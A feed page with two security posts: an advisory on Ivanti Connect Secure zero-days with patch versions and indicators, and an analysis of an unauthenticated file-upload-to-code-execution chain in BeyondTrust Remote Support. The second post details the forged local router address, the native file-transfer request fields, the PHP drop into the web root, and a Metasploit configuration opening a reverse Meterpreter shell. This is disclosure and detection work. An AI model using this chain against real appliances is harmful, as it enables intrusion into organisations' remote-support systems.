❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Additional Ivanti Connect Secure zero-days exploited in the wild (CVE-2026-111357, CVE-2026-118527)

By: Rapid7
2 November 2026 at 06:04

Overview

On October 29, 2026, Ivanti updated its security advisory for Ivanti Connect Secure (ICS) to include two additional vulnerabilities and released fixes for both. Ivanti rates CVE-2026-111357, a missing authentication for critical function vulnerability (CWE-306), with a CVSSv3.1 score of 8.8; it allows a local authenticated attacker to escalate privileges. CVE-2026-118527, classified as generation of predictable numbers or identifiers (CWE-340), has an Ivanti-assigned CVSSv3.0 score of 4.3 and, according to CISA's KEV entry, allows a remote authenticated attacker to upload attacker-controlled content to a known location on disk.

Per Ivanti, exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers when these flaws are chained with CVE-2026-104935, an authentication bypass by spoofing (CWE-290). Rapid7 covered the original disclosure on October 13, 2026, when a fix for CVE-2026-104935 was available but the privilege escalation component remained unpatched. Fixes are now available for all three vulnerabilities.

On October 30, 2026, CVE-2026-111357 and CVE-2026-118527 were added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation.

The following scores and classifications are from Ivanti's updated advisory:

CVE

Ivanti CVSS score

CWE

Impact

CVE-2026-104935

8.6 (High), CVSSv3.0

CWE-290

Remote unauthenticated command execution

CVE-2026-111357

8.8 (High), CVSSv3.1

CWE-306, CWE-862, CWE-345

Local authenticated privilege escalation

CVE-2026-118527

4.3 (Medium), CVSSv3.0

CWE-340

Remote authenticated file upload to a known path

Note: The CVE record and Rapid7's vulnerability database rate CVE-2026-111357 at 7.0, using high attack complexity and unchanged scope. Ivanti assesses low attack complexity and changed scope, resulting in its score of 8.8. The table follows Ivanti's scores and classifications.

In its investigation, Volexity reports that UTA0576 used an exploit chain to gain unauthenticated root access to an appliance running 22.8R2.4, beginning on October 3, 2026. Its write-up identifies CVE-2026-104935 and CVE-2026-111357; Ivanti's updated advisory identifies CVE-2026-118527 as an additional component of the chain. Volexity observed credential theft and Active Directory queries for Windows LAPS passwords and BitLocker recovery keys.

The combined impact warrants emergency remediation despite the individual CVSS ratings. Ivanti Connect Secure is an enterprise VPN solution deployed at the network edge and has a history of zero-day exploitation, including in 2024 and 2025.

Mitigation guidance

Rapid7 recommends applying the available updates on an emergency basis outside of normal patching cycles. The October 13 fixes in 25.1.1.2 and 22.8R2.5 do not remediate CVE-2026-111357 or CVE-2026-118527.

CVE(s)

Affected versions

Fixed version(s)

CVE-2026-111357 and CVE-2026-118527

25.1.1.2 and prior

25.1.1.3

CVE-2026-111357 and CVE-2026-118527

22.8R2.5 and prior

22.8R2.6

CVE-2026-104935

25.1.1.1 and prior

25.1.1.2

CVE-2026-104935

25.1.2.2 and prior

25.1.3.0, 25.1.3.1

CVE-2026-104935

22.8R2.4 and prior

22.8R2.5

Ivanti recommends moving from 22.8.X to 25.1.1.3 or later, or applying 22.8R2.6 if migration is not immediately possible. Ivanti lists 25.1.3.0 and later on ISA4500, ISA6500, or ISA8500 as unaffected.

Rapid7 also recommends investigating for compromise after patching. Volexity reports that the observed activity evades Ivanti's Integrity Checker Tool, so a clean result does not rule out compromise. Preserve memory and logs before rebooting or resetting where feasible. If compromise is suspected, follow Ivanti's recovery steps and rotate potentially exposed credentials.

For current fixed versions and mitigation guidance, refer to Ivanti's security advisory. Its linked recovery procedure includes older release references.

Artifacts, evidence sources, and IOCs

The following guidance and artifacts are from Volexity's investigation:

Hunting guidance:

  • Review requests to /dana-na/auth/url_default/welcome.cgi, especially URL/header mismatches involving X-DSCGI-PATH. Observed values include:

X-DSCGI-PATH: /home/webserver/htdocs/dana/fb/smb/wu.cgi
X-DSCGI-PATH: /home/runtime/tmp/<MD5(filename)>

Evidence sources on the appliance:

  • /tmp/: ml.py, rq5.py, mk.py, rr.py, pu.txt, sp_out.txt, and spray_hits.json.

  • /data/.icscap/: dsstatmond, cap*, and h.py.

  • /home/runtime/tmp/: ics-root-run-inband-*.pl and ics-root-result-inband-*.

  • /home/runtime/dlogs/debuglog and /var/log/audit/audit.log: investigate evidence of selective deletion.

Network IOCs:

  • 108.165.147[.]64: UTA0576 exploitation IP, per Volexity's IOC list.

Volexity also provides YARA rules for request-header evidence and the privilege escalation payload in memory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111357 and CVE-2026-118527 with authenticated vulnerability checks available since the 2026-10-30 content release.

Updates

  • November 2, 2026: Initial publication.

Rapid7 Analysis: Unauthenticated File Upload to RCE in BeyondTrust Remote Support (CVE-2026-102764)

30 October 2026 at 12:01

Overview

An origin-validation flaw in BeyondTrust Remote Support lets an unauthenticated attacker write files on the appliance and execute code as the site's operating-system user. The entry point is the public customer connection used to start a support session. No account credentials or user interaction are required.

The flaw sits between the internal message router, brain, and an appliance-side customer worker, thin-scc. An attacker can put a reserved local router ID into a message's source address. The router forwards the message, and the worker accepts that address as proof that the request came from a local component. This gives the attacker access to an internal file-transfer service, including its native filesystem provider.

We first confirmed the file write then used the primitive to upload a PHP file to the site's public directory. Requesting that file gave us code execution as the site user. A Metasploit module now implements the chain with PHP and Unix Command targets.

We tested Remote Support 24.1.2, build 1524046, revision 4208-ddcf90715106aa0c0e19c103f8d2c412af4beff3. The test appliance had public issue-menu session starts and thin chat enabled (default). Other affected releases and fixed builds have not been established. The VM's base appliance version of Secure Remote Access, 7.1.0, is separate from the Remote Support application version. 

Impact

The attacker controls both the contents of an uploaded file and its destination path, subject to the worker's filesystem permissions. The same origin forgery also reaches the file-send operation. We used it to retrieve /proc/self/environ to determine the base installation path of the Remote Support before dropping the payload

On the tested appliance, the native file service could write into the PHP document root. The Metasploit module returns code execution in the context of msfuser, UID 1000, which establishes unauthenticated remote code execution as the site user.

Technical Analysis

We will demonstrate how an attacker can start an anonymous session and then forge a message that the appliance will accept as local. Then outline how we can reach the native file transfer service, choose the uploaded file’s contents and destination and turn the file write into PHP execution.

Addresses use Ghidra image base 0x100000. Subtract that value for the raw ELF virtual address. Function names beginning with FUN_ are Ghidra labels; descriptive names are taken from diagnostic strings where available.

Starting an anonymous customer session

We begin by obtaining two customer keys from POST /api/start_session. These are fresh public guest sessions. The keys let the client use the customer transport, but do not identify a logged-in account. Each guest connects through the /nw WebSocket endpoint, using either the native or thin customer protocol.

source/app/write_app_chooser_config:

echo "ingredi support desk customer:|$BG_app_root/data/tmp/brain.sock" # [A1]
echo "ingredi support desk customer thin:$BG_app_root/app/thin-scc-wrapper" # [A2]

app/write_app_chooser_config shows where the two customer protocols go. The native protocol reaches the brain socket at [A1]; the thin protocol launches a wrapper at [A2].

source/app/thin-scc-wrapper:

# ... omitted: protocol parsing and the alternative debug-site branch ...

quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo $gskey | $ingrediRoot/app/dbquote)
if [[ $(echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db) != "1" ]]; then # [A3]
    echo "1 failure" >&0
    exit 0
fi

# ... omitted: reconnect throttling, customer-name setup, and settings generation ...

app/thin-scc-wrapper checks that the thin customer's key belongs to an unexpired sdcust session at [A3]. A key obtained through the public session-start endpoint passes this check.

app/thin-scc-wrapper, after the session check:

echo "0 success" >&0
workDir=`handleThinMint "$thinMint"` || exit

if [[ ! -f "$workDir/thin-scc" ]]; then
    pushd "$workDir"
    cp $ingrediRoot/app/thin-scc .
    # ... omitted: license, image, and settings.ini setup ...
else
    pushd "$workDir"
fi

export BRAIN_MELD_SOCKET_PATH=$ingrediRoot/data/tmp/brain.sock
# ... omitted: server-side environment initialization ...
./thin-scc # [A4] Starts the worker inside the appliance environment.
exitStatus=$?

The same wrapper then prepares a working directory and starts thin-scc at [A4]. This process runs on the appliance, even though it is handling an anonymous customer's thin session.

The native connection gives us a client for the internal message-routing system, referred to here as MRS. The thin connection gives us an appliance-side worker to address. Neither step requires a representative to accept the session.

A network message can claim to be local

MRS addresses have three parts: node:router:handler. Each message carries source and destination addresses in a 36-byte header made up of nine little-endian 32-bit fields.

Header offset

Field

Value used by the exploit

0x04

Source node

The customer's normal node

0x08

Source router

Changed to the reserved value 1

0x0c

Destination node

The worker's node

0x10

Destination router

The worker's router

0x14

Destination handler

Main dispatcher, 2048, on the tested build

0x24

Payload

Service name, newline, then packed fields

app/brain — ingress check:

if (*(int *)((long)param_2 + 0xc) == *(int *)(param_1 + 0x10)) {
    *(uint *)(param_2 + 4) = (uint)*(byte *)(param_2 + 4);

    if ((*(int *)(param_2 + 1) == *(int *)((long)param_1 + 0x84)) &&
        (param_3 != (ulong **)0x0)) { // [B1] Rejects a network claim of this router's actual ID.
        if (lRam0000000001ec8610 != 0) {
            func_0x0168de00(
                0x15, 3,
                "dropping spoofed message that came in from the network but has a routerID of our own\n"
            );
        }
    }
    else if (*(int *)((long)param_1 + 0x84) == *(int *)(param_2 + 2)) {
        // ... omitted: delivery to a handler on this router ...
    }
    else {
        // ... omitted: TTL checks, route lookup, and forwarding branches ...
    }
}

app/brain has an anti-spoofing check in FUN_01566ae0, identified by its handleMessageFromOtherRouter diagnostic. At [B1], it rejects a network packet whose source router matches the receiving router's actual ID.

Here, param_1 is the receiving router, param_2 is the packet, and param_3 is the incoming connection. Because param_2 points to eight-byte elements, *(int *)(param_2 + 1) reads the source router at byte offset 0x08.

That leaves a gap: the check compares against the actual router ID, while downstream code also recognises a reserved local alias. On this appliance, the alias is 1.

// ... omitted: destination route resolution, loop checks, and diagnostic logging ...
FUN_0155ec40(
    ppuStack_1300,
    ppuVar6,
    param_2, // [B2] Forwards the packet carrying the caller-supplied source router.
    (int *)((long)param_2 + 0x24)
);

The forwarding path in the same app/brain function passes the packet onward at [B2]. It does not remove the source claim that matters to the worker's local-origin check.

app/brain — local-address predicate:

bool FUN_0155ad40(long param_1, int *param_2)
{
    bool bVar1;

    bVar1 = false;
    if (*param_2 == *(int *)(param_1 + 0x80)) { // [C1] Address node must match the local node.
        bVar1 = true;
        if (param_2[1] != 1) { // [C2] Router 1 returns true without the actual-ID comparison.
            return *(int *)(param_1 + 0x84) == param_2[1];
        }
    }
    return bVar1;
}

The local-address predicate makes the mismatch clear. In app/brain, FUN_0155ad40 first checks the node at [C1]. If that matches, router 1 is enough to return true at [C2]; the comparison with the actual local router is skipped.

The rule is effectively node AND (router == 1 OR router == actual local router). An address supplied by a network client is being used to make that decision.

app/thin-scc — message-origin wrapper:

UNRECOVERED_JUMPTABLE = *(code **)(**(long **)(*param_1 + 8) + 0x50);
(*UNRECOVERED_JUMPTABLE)(
    *(long **)(*param_1 + 8),
    param_1 + 0xb, // [C3] Uses the dispatched message's sender address at byte offset 0x58.
    UNRECOVERED_JUMPTABLE
);

The corresponding message wrapper in app/thin-scc, passes the message's sender address into its router object's local-address predicate at [C3]. Ghidra did not recover a reliable prototype for this indirect call; the caller consumes its result as a boolean.

We checked this behaviour with the same file-service request under two origins. The ordinary customer source produced no file-service connection during a two-second observation. Changing the source router to 1 caused the worker to accept it.

Reaching the native file-transfer service

In app/thin-scc, FUN_0047a850 dispatches file-transfer messages.

app/thin-scc — file-transfer dispatcher:

cVar3 = func_0x0068e930(param_2); // [D1] Locality is derived from the message sender address.
if (cVar3 == '\0') {
    if (lRam00000000009bade8 != 0) {
        puVar5 = (undefined8 *)func_0x0068efe0(param_2);
        func_0x00309380(0x66, 3, "DISCARDING NONLOCAL MESSAGE: %s\n", *puVar5);
    }
}
else {
    func_0x0046d370(aplStack_68, "ftsName");
    lVar7 = param_2 + 0x28;
    lVar1 = param_2 + 0x30;
    lVar6 = func_0x002a1970(lVar7, aplStack_68);
    if (lVar1 == lVar6) {
        puVar5 = (undefined8 *)0x9c3700;
    }
    else {
        puVar5 = (undefined8 *)(lVar6 + 0x40);
    }

    if ((puVar5[1] == *(long *)(param_1 + 0x2a8)) &&
        ((puVar5[1] == 0 ||
          (iVar4 = func_0x001804b0(*puVar5, *(undefined8 *)(param_1 + 0x2a0)),
           iVar4 == 0)))) { // [D2] Matches the requested filesystem service name.
        // ... omitted: string cleanup, optional reply check, and action dispatch shown below ...
    }
    // ... omitted: mismatched-name cleanup ...
}

It calls the origin wrapper at [D1] and discards a message if that wrapper says the sender is nonlocal. Once that check passes, [D2] matches ftsName against the service instance's name.

The same function only validates responseAddress when the field is nonempty. The exploit omits it, taking the branch at [D3].

app/thin-scc, reply-address handling in FUN_0047a850:

func_0x0046d370(auStack_a8, "responseAddress");
lVar6 = func_0x002a1970(lVar7, auStack_a8);
if (lVar6 == lVar1) {
    lVar6 = 0x9c3700;
}
else {
    lVar6 = lVar6 + 0x40;
}

if (*(long *)(lVar6 + 8) == 0) { // [D3] No reply-address validation when the field is empty.
    func_0x001edfe0(auStack_a8);
}
else {
    func_0x0046d370(auStack_88, "responseAddress");
    lVar8 = func_0x002a1970(lVar7, auStack_88);
    lVar6 = lVar8 + 0x40;
    if (lVar8 == lVar1) {
        lVar6 = 0x9c3700;
    }
    func_0x006f2e80(auStack_b4, lVar6);
    func_0x0046d370(aplStack_68, "processMessage");
    cVar3 = func_0x0068e950(param_2, aplStack_68, auStack_b4); // [D4]
    // ... omitted: temporary string destruction ...
    if (cVar3 == '\0') goto LAB_0047a8be;
}

The validator called at [D4] compares the reply address against the message's sender address. It does not independently establish where that sender came from, so making this field mandatory would not fix the origin forgery.

app/thin-scc, action handling in FUN_0047a850:

// ... omitted: action extraction and unrelated action cases ...
iVar4 = func_0x0046d240(uVar9, uVar2, "DownloadAnonymousFiles");
if (iVar4 == 0) {
    uVar9 = FUN_00475820(param_1, param_2); // [D5] Receives a file into the selected provider.
    goto LAB_0047a8c0;
}

// ... omitted: DownloadFiles case ...
iVar4 = func_0x0046d240(uVar9, uVar2, "UploadFiles");
if (iVar4 == 0) {
    uVar9 = FUN_00477be0(param_1, param_2); // [D6] Sends a file from the selected provider.
    goto LAB_0047a8c0;
}

The dispatcher then exposes DownloadAnonymousFiles at [D5] and UploadFiles at [D6].

The action names describe the worker's side of the transfer. DownloadAnonymousFiles receives bytes onto the appliance; UploadFiles sends a file out. To upload our file, we ask the worker to download it from an MRS listener we control.

The important thing to note here is that the worker has more than one filesystem provider. The session service delegates filesystem work to the browser. A successful transfer through that service does not prove a file was written on the appliance. The local service uses native file objects instead.

app/thin-scc — native service construction:

uVar3 = func_0x00770620(0x310);
plVar4 = (long *)func_0x00770620(8);
func_0x003454a0(plVar4); // [E1] Constructs the native filesystem provider.

pplStack_c0 = (long **)0x0;
plStack_c8 = plVar4;
pplStack_c0 = (long **)func_0x00770620(0x18);
plVar1 = _DAT_007d4de0;
pplStack_c0[2] = plVar4;
pplStack_c0[1] = plVar1;
*pplStack_c0 = (long *)&UNK_0098cee0;

plStack_60 = (long *)0x5;
uStack_58 = (long *)CONCAT26(uStack_58._6_2_, 0x6c61636f6c); // [E2] ASCII "local".
plStack_68 = &uStack_58;
FUN_00472550(uVar3, &plStack_68, param_3, &plStack_c8); // [E3] Service receives name and provider.
param_1[0x9d] = uVar3;

// ... omitted: string/provider reference cleanup and other ServerContext services ...

The ServerContext constructor in app/thin-scc, FUN_002ae620, creates that native provider at [E1]. It builds the name local at [E2] and passes both to the file-transfer service constructor at [E3].

The exploit therefore uses ftsName=local. The native file factory analysis follows this provider to the native file and filesystem-info constructors.

Choosing the file contents and destination

app/thin-scc, FUN_00475820 , handles DownloadAnonymousFiles. 

app/thin-scc — anonymous-download request:

// ... omitted: overwrite/resume options and transfer metadata setup ...
func_0x0046d370(aplStack_128, "downloadToken");
lVar8 = func_0x002a1970(lVar12, aplStack_128);
lVar6 = lVar8 + 0x40;
if (lVar8 == param_2) {
    lVar6 = 0x9c3700;
}
func_0x001edf30(&puStack_68, lVar6); // [F1] Caller-supplied transfer token.

func_0x0046d370(aplStack_148, "serverAddress");
lVar8 = func_0x002a1970(lVar12, aplStack_148);
lVar6 = lVar8 + 0x40;
if (lVar8 == param_2) {
    lVar6 = 0x9c3700;
}
func_0x006f2e80(auStack_1e4, lVar6); // [F2] Caller-supplied MRS file-server address.

func_0x0046d370(aplStack_168, "path");
lVar8 = func_0x002a1970(lVar12, aplStack_168);
lVar6 = lVar8 + 0x40;
if (lVar8 == param_2) {
    lVar6 = 0x9c3700;
}
func_0x001edf30(aplStack_88, lVar6); // [F3] Caller-supplied destination path.

uVar13 = (ulong)(iVar4 != 0);
iStack_1e8 = func_0x004a21c0(
    param_1, aplStack_88, auStack_1e4, &puStack_68, auStack_198, iVar5 == 0
); // [F4] Starts the download using the supplied path, server, and token.

// ... omitted: temporary destruction and transfer-response construction ...

The function reads the request's transfer token at [F1], MRS server address at [F2], and destination path at [F3]. All three reach the download routine at [F4].

In this excerpt, lVar12 points to the request's field map. param_2 has already been advanced to its map-end sentinel; 0x9c3700 represents an absent value.

app/thin-scc — MRS download connection:

(**(code **)(**(long **)(param_1 + 8) + 0x18))(
    &lStack_d8, *(long **)(param_1 + 8), param_3, 10000
); // [G1] Connects to the serverAddress supplied to this routine as param_3.

if ((lStack_d8 == 0) ||
    ((*(char *)(lStack_d8 + 0x30) != '\0' &&
      (*(char *)(lStack_d8 + 0x31) != '\0')))) {
    uVar4 = 0;
}
else {
    // ... omitted: request-map initialization ...
    func_0x00490020(&plStack_68, "request");
    lVar5 = func_0x00202790(auStack_b8, &plStack_68);
    func_0x001f5f10(
        lVar5, 0, *(undefined8 *)(lVar5 + 8), "get anonymous file", 0x12
    ); // [G2]

    // ... omitted: temporary key-string destruction ...
    func_0x00490020(&plStack_68, "token");
    uVar6 = func_0x00202790(auStack_b8, &plStack_68);
    func_0x001ee710(uVar6, param_4); // [G3] Copies the caller's downloadToken.

    // ... omitted: info field, serialization, send, and receive-thread setup ...
}

The download routine at 0x004a21c0 opens an MRS stream to our address at [G1]. It sends get anonymous file at [G2] with our token at [G3]. The token can be a 24 character random string because we control the listener.

// ... omitted: stream setup, relay metadata, and reference management ...
puVar7 = (undefined8 *)func_0x00770620(0x450);
// ... omitted: temporary setup and resume calculation ...
func_0x004a0700(puVar7, param_1, param_5, bVar8, param_7, param_8);
puVar7[0x81] = lStack_d8;
puVar7[0x82] = lVar5;
*puVar7 = &UNK_0099d3f8;
// ... omitted: relay address and transfer bookkeeping ...
func_0x001ee710(puVar7 + 0x13, param_2); // [G4] Retains the requested destination path.
// ... omitted: transfer registration and reference management ...
func_0x002fcae0(puVar7, 0x400000); // [G5] Starts the receive-files thread.

The same app/thin-scc routine puts the destination path into a receive-files thread at [G4] and starts it at [G5].

app/thin-scc — receive-files loop:

// ... omitted: "want file?" command match ...
func_0x00490020(ppplVar20, "dest_filename");
uVar12 = func_0x00202790(plStack_888, ppplVar20);
puStack_8b8 = &uStack_418;
func_0x001edf30(puStack_8b8, uVar12); // [H1] Copies the destination from transfer metadata.

// ... omitted: provider filesystem-info query and reference cleanup ...
bStack_931 = *(byte *)(plStack_848 + 0x1c);
pplStack_8d8 = (long **)(((ulong)pplStack_8d8 & 0xffffffffffffff00 |
                         (ulong)bStack_931) ^ 1);
puStack_900 = auStack_3f8;
if (bStack_931 == 1) {
    func_0x001edf30(puStack_900, puStack_8b8);
}
else {
    func_0x001fabe0(puStack_900, puStack_8b8, ".n$t"); // [H2] Temporary receive path.
}

The receive loop at 0x001d6430 consumes the file metadata we send over that stream. It copies dest_filename at [H1]. Depending on the provider's file information, it receives into that path or a temporary path ending in .n$t at [H2].

// ... omitted: "begin file" handling and provider file-object creation ...
func_0x00321f50(plStack_828, puStack_928);
plVar11 = plStack_828;
pcVar19 = *(code **)(*plStack_828 + 0xc0);
func_0x00490020(ppplVar20, "a+b");
cVar5 = (*pcVar19)(plVar11, puStack_900, ppplVar20, lStack_908); // [H3] Opens the receive file.

// ... omitted: open-failure handling, positioning, and transfer-loop branches ...
iVar7 = (**(code **)(*plVar11 + 0x20))(plVar11, plVar1, pplVar21, pplVar25, 1);
if (0 < iVar7) {
    pplStack_8d8 = (long **)(long)iVar7;
    lVar14 = *plStack_828;
    *(long *)(param_1 + 0x160) = (long)pplStack_8d8 + *(long *)(param_1 + 0x160);
    *(long *)(param_1 + 0x168) = (long)pplStack_8d8 + *(long *)(param_1 + 0x168);
    iVar9 = (**(code **)(lVar14 + 0xd8))(plStack_828, plVar1); // [H4] Writes received data.
    if (iVar7 != iVar9) {
        // ... omitted: errno extraction and "error writing to file" response ...
    }
    // ... omitted: progress and completion handling ...
}

After the omitted begin file code has executed, the same app/thin-scc receiver opens the file at [H3] and writes incoming data at [H4]. 

On completion, the receiver closes the file and, when a temporary path is used, renames it to the final destination. The service already accepts an absolute destination path, so no directory traversal is needed. The worker allows the request because it trusts the forged local source address.

From file upload to PHP execution

The next step is to choose a writable location that the web server would execute. The supplied config/apache_vhost.conf sets the document root to:

/home/msfuser/ingredi-24.1.2/app/www/public

An absolute upload into that directory succeeded. There is a small catch when requesting the file: a URL ending in .php returns 404, even while the file existed. app/www/public/.htaccess explains why. 

source/app/www/public/.htaccess:

# ... omitted: application routes and compatibility rewrites ...
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[?/ ].*$"
# [I1] Direct .php URLs return 404.
RewriteRule .* - [L,R=404]

# ... omitted: download-helper routes ...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}\.php -f
# [I2] An extensionless URL executes the existing PHP file.
RewriteRule ^(.+)$ $1.php [L]

The rule at [I1] rejects a direct .php request. The rule at [I2] maps an extensionless URL to an existing PHP file.

Requesting the uploaded basename without .php executed our payload. It returned its absolute filename, EUID 1000, and the output of id. 

We also wanted to avoid guessing Remote Support’s working directory or the versioned installation name. The same native service can send us the worker's /proc/self/environ using UploadFiles. On this appliance, it contains:

BG_app_root=/home/msfuser/ingredi-24.1.2
BRAIN_MELD_SOCKET_PATH=/home/msfuser/ingredi-24.1.2/data/tmp/brain.sock

BG_app_root gives us the installation directory directly. Appending /app/www/public gives the upload destination; the socket path provides another way to identify the same root. There is one protocol wrinkle: procfs reports the environment file's size as zero, but the worker still streams its contents. We have to read through the data stream's EOF instead of stopping at the advertised size. 

Exploit

The Metasploit module carries out the chain using two fresh public customer sessions. It discovers the thin worker through Director.GetGatewaySessionValues for its own thin guest, sends the forged LocalFileTransfer request to the worker's main dispatcher, and serves the PHP bytes over its existing MRS connection. A separate upload server is not needed.

The module writes a random PHP filename into the site's public directory, then POSTs an execution token to the extensionless URL. The PHP file checks that token and unlinks itself before executing the payload. Target 0 runs a PHP payload; target 1 wraps a Unix command in PHP.

For a PHP Meterpreter payload, the basic configuration is:

use exploit/linux/http/beyondtrust_rs_mrs_file_upload
set RHOSTS 192.168.1.98
set TARGET 0
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.68
run verbose=true

Select target 0 and a compatible command payload, such as php/meterpreter/reverse_tcp. The module documentation covers the directory override and other options.

bt_rs_ra_1.png

Figure 1: Exploiting the anonymous file-transfer service with Metasploit.

Testing produced two PHP Meterpreter sessions, a command-wrapped PHP Meterpreter session, and a Bash shell. Both targets also ran with AutoCheck disabled, and immediate repeat exploitation succeeded. The Bash shell returned:

uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),16(cron),70(postgres)

IOCs

The excerpts below cover HTTP requests, native file-transfer activity in thin-scc, and customer connections recorded by brain. They come from our lab runs on 28–29 October 2026. Original timestamps, addresses, and paths are retained; session and transfer tokens are redacted where noted. Unrelated entries are omitted.

The site logs are stored under $BG_app_root/log/, where BG_app_root identifies the Remote Support installation directory:

Log

Evidence shown below

httpd_access.log

Public session creation and requests to uploaded PHP endpoints

thin-scc.log

Native file-transfer stream creation and routing errors

thin-scc-errors.log

Rejected file-transfer requests, including the action and destination path

brain.log

Customer connection records with client addresses and timestamps

Active workers also keep logs under $BG_app_root/data/tmp/sdcust_thin_client/<thinMint>/; the collection details below explain how these reach the site log directory. The installation path varies between appliances.

Requests to an uploaded PHP endpoint

The command-only Metasploit run created two public customer sessions, invoked its uploaded PHP endpoint, and then checked that the endpoint had gone. The relevant access-log lines are:

192.168.1.68 [28/Oct/2026:21:12:23 +0000] "POST /api/start_session HTTP/1.1" [0s] [Stat:200] [Size:1481] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:23 +0000] "POST /api/start_session HTTP/1.1" [0s] [Stat:200] [Size:1481] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:31 +0000] "POST /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:200] [Size:0] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:38 +0000] "POST /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:43 +0000] "GET /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9]

Here, /qdgusthrmlirprls mapped to qdgusthrmlirprls.php in the public directory. The first POST ran the command and returned 200. The later POST was the module's cleanup request; the GET independently checked the endpoint. Both received 404 after the file had deleted itself.

This gives defenders a sequence to investigate: public session creation followed by a request to a new, unfamiliar endpoint, potentially followed by 404s for the same path. Session creation alone is normal Remote Support activity. A 200 followed by a 404 is also insufficient by itself; correlate the requests with file changes, session records, and any unusual outbound connections.

The URL may not contain .php

The earlier PHP canary produced these lines:

192.168.1.68 [28/Oct/2026:20:50:07 +0000] "GET /msfcanary03d80193f0880b.php HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9]
192.168.1.68 [28/Oct/2026:20:50:35 +0000] "GET /msfcanary03d80193f0880b HTTP/1.1" [0s] [Stat:200] [Size:368] [Ref:-] [UA:Python-urllib/3.9]
192.168.1.68 [28/Oct/2026:20:50:35 +0000] "GET /msfcanary03d80193f0880b HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9]

The direct .php request failed, while the extensionless request executed the same file. The final 404 followed self-deletion. Detection that only searches for requests ending in .php would miss the successful request in this example.

The native transfer itself travels inside the customer MRS connection. These access-log entries show the HTTP trigger, not the file contents or the forged router ID. The captured HTTP log does not expose the inner MRS messages, so it cannot establish the origin bypass on its own.

Files and connections

Look for unexpected PHP files under the site's public directory and receive files ending in .php.n$t. An interrupted transfer may leave the temporary file even if the final URL returns 404. The .n$t suffix also belongs to the normal transfer implementation, so its presence needs context.

Native file-transfer traces

thin-scc.log and thin-scc-errors.log contain more direct evidence of the file-service requests. For example, this line from thin-scc-errors.log names the action, native provider, and intended PHP destination. Only ckey and downloadToken have been redacted:

20261029 17:01:33 999999 thin-scc 11801:proc{LocalFileTransfer}(t11832) FT:WARNING>DISCARDING NONLOCAL MESSAGE: LocalFileTransfer:action=DownloadAnonymousFiles;ckey=<REDACTED>;downloadToken=<REDACTED>;enableResume=0;ftsName=local;path=/home/msfuser/ingredi-24.1.2/app/www/public/envresolve28f788af6a1c39bf.php;serverAddress=1:1022182175:9000;wantOverwritePrompts=0

This was our negative control: the request used the customer's ordinary source address and was rejected. It is evidence of an attempted invocation, not a successful upload. The forged local source passes the check that produces this warning, so a successful exploit need not leave a DISCARDING NONLOCAL MESSAGE entry.

The successful PHP module run left these lines in thin-scc.log:

20261029 17:06:37    319 thin-scc 14419:proc{LocalFileTransfer}(t14486) MRS_STREAM:INFO>createStream: connecting to address 1:1129726787:1031
20261029 17:06:37      2 thin-scc 14419:proc{LocalFileTransfer}(t14486) MRS_CL:ERROR>nodeID not found in node list even after renumerating: 0
20261029 17:06:37      0 thin-scc 14419:proc{LocalFileTransfer}(t14486) MSG_DSP:ERROR>failed to create a mailbox for sending to: 0:0:0

Our requests omit responseAddress. The handler starts the transfer, then tries to send its action response to an empty address. That produces the 0:0:0 error without preventing the file write. The payload callback independently confirms execution at 17:06:37.

Look for this combination in the proc{LocalFileTransfer} context, especially around unfamiliar PHP requests or outbound connections. The 1:1129726787:1031 value identifies an internal MRS mailbox; use the brain connection records below for the client IP. These entries do not identify the written filename or prove execution on their own. The empty-address errors also depend on how the exploit request is constructed; another implementation may leave different traces.

Brain connection records

brain.log helps link the activity to a client address. These two entries preceded the same module run:

20261029 17:06:30      0 brain 6339:lstner(t06500) BRN_LSTN:INFO>received fd: 47 app name: 'ingredi support desk customer' and remoteIPAddress: '192.168.1.68' and localIPAddress: '192.168.1.98' and isLoopback '0'
20261029 17:06:30      0 brain 6339:lstner(t06500) BRN_LSTN:INFO>received fd: 49 app name: 'ingredi support desk customer' and remoteIPAddress: '192.168.1.68' and localIPAddress: '192.168.1.98' and isLoopback '1'

These are useful for a timeline, but customer connections are normal activity. We found no UploadFiles or DownloadAnonymousFiles action records in the captured brain logs. Generic EOF, connection-reset, and conference errors also appeared; they are too broad to treat as exploit indicators by themselves.

Where to collect the native logs

The aggregated logs are under $BG_app_root/log/. While a worker is running, its own logs are under $BG_app_root/data/tmp/sdcust_thin_client/<thinMint>/. The wrapper appends those logs to the site's log directory when the worker exits, then clears the per-worker copies. Collect both locations when investigating a live session.

The captured brain.ini and thin-scc.ini both had the debug output disabled with enabled=0. No debug log was captured, and we did not change the logging configuration. Brain's debug configuration also limits MRS_* categories to Info, so enabling its debug output alone would not guarantee detailed message payloads.

